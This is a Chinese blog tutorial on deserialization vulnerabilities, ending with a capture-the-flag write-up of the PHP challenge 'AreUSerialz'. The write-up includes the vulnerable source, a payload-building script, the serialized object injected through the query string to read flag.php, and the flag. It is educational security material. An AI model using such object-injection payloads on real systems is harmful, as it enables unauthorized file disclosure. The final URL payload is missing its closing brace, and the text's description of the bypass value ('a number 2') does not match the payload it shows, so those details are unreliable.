浅谈反序列化
作者:互联网
包括php、java、python三种语言,但我目前先学php和java的
一、什么是序列化和反序列化
1、序列化和反序列化
序列化是将复杂的数据结构(如对象及其字段)转换为“更平坦”格式的过程
这种格式可以作为连续的字节流发送和接收
序列化数据使以下操作更简单:
将复杂数据写入进程间内存、文件或数据库
有效的实现多平台之间的通信、对象持久化存储
在应用程序的不同组件之间通过网络或者API调用发送复杂数据
反序列化是将字节流还原为原始对象的过程
3、反序列化漏洞
序列化在内部没有漏洞
漏洞在反序列化过程
用户可控制的数据被网站脚本反序列化,这可能使攻击者能够操纵序列化对象,以便将有害数据传递到应用程序代码中
渗透攻击者可以用完全不同类的对象替换序列化对象,而且,网站可用的任何类的对象都将被反序列化和实例化,而不管预期的是哪个类
二、PHP反序列化漏洞
1、PHP的序列化与反序列化
PHP通过serialize()和unserialize()来进行序列化和反序列化。
例子
考虑User具有以下属性的对象:
$user->name = "carlos";
$user->isLoggedIn = true;
序列化后,该对象可能看起来像这样:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
可以理解为
O:4:"User" 具有4个字符的类名称的对象 "User"
2 对象具有2个属性
s:4:"name" 第一个属性的键是4个字符的字符串 "name"
s:6:"carlos" 第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn" 第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1 第二个属性的值是布尔值 true
2、魔术方法
魔术方法就是在某些条件下自动执行的函数
参考官方文档
一些魔术方法如下
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
最重要的几个
__wakeup() //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct() //PHP5允行在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct() //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString() //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误
做个题吧
buuctf上的[网鼎杯 2020 青龙组]AreUSerialz,启动靶场
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
该段代码首先通过get方法获得字符串str,若str中没有不可打印的字符串后,对字符串执行反序列化操作。因此我们再看一遍FileHandler类中的内容。
可以看到构析函数中,op使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法。
在process()方法中,则使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。而read方法中,使用file_get_contents()函数来读取属性filename路径的文件。
于是我们发现,若想读取flag,需要绕过process()方法的判断,防止op被置一。于是可以传入一个数字2,绕过process()方法的判断。于是我们构造payload(这里的payload是我的本地环境):
构造payload
<?php class FileHandler{ public $op=' 2'; public $filename="flag.php"; } $flag=new FileHandler(); $flag_1=serialize($flag); echo $flag_1; ?>
运行的结果为:
O:11:"FileHandler":2:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";}
/?str=O:11:"FileHandler":2:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";
查看源代码即可得到flag
flag{1d3b5c8a-d09f-46cd-9680-e78e8e59aa7a}
标签:__,浅谈,对象,output,序列化,方法,op 来源: https://www.cnblogs.com/mu-yi2/p/16684154.html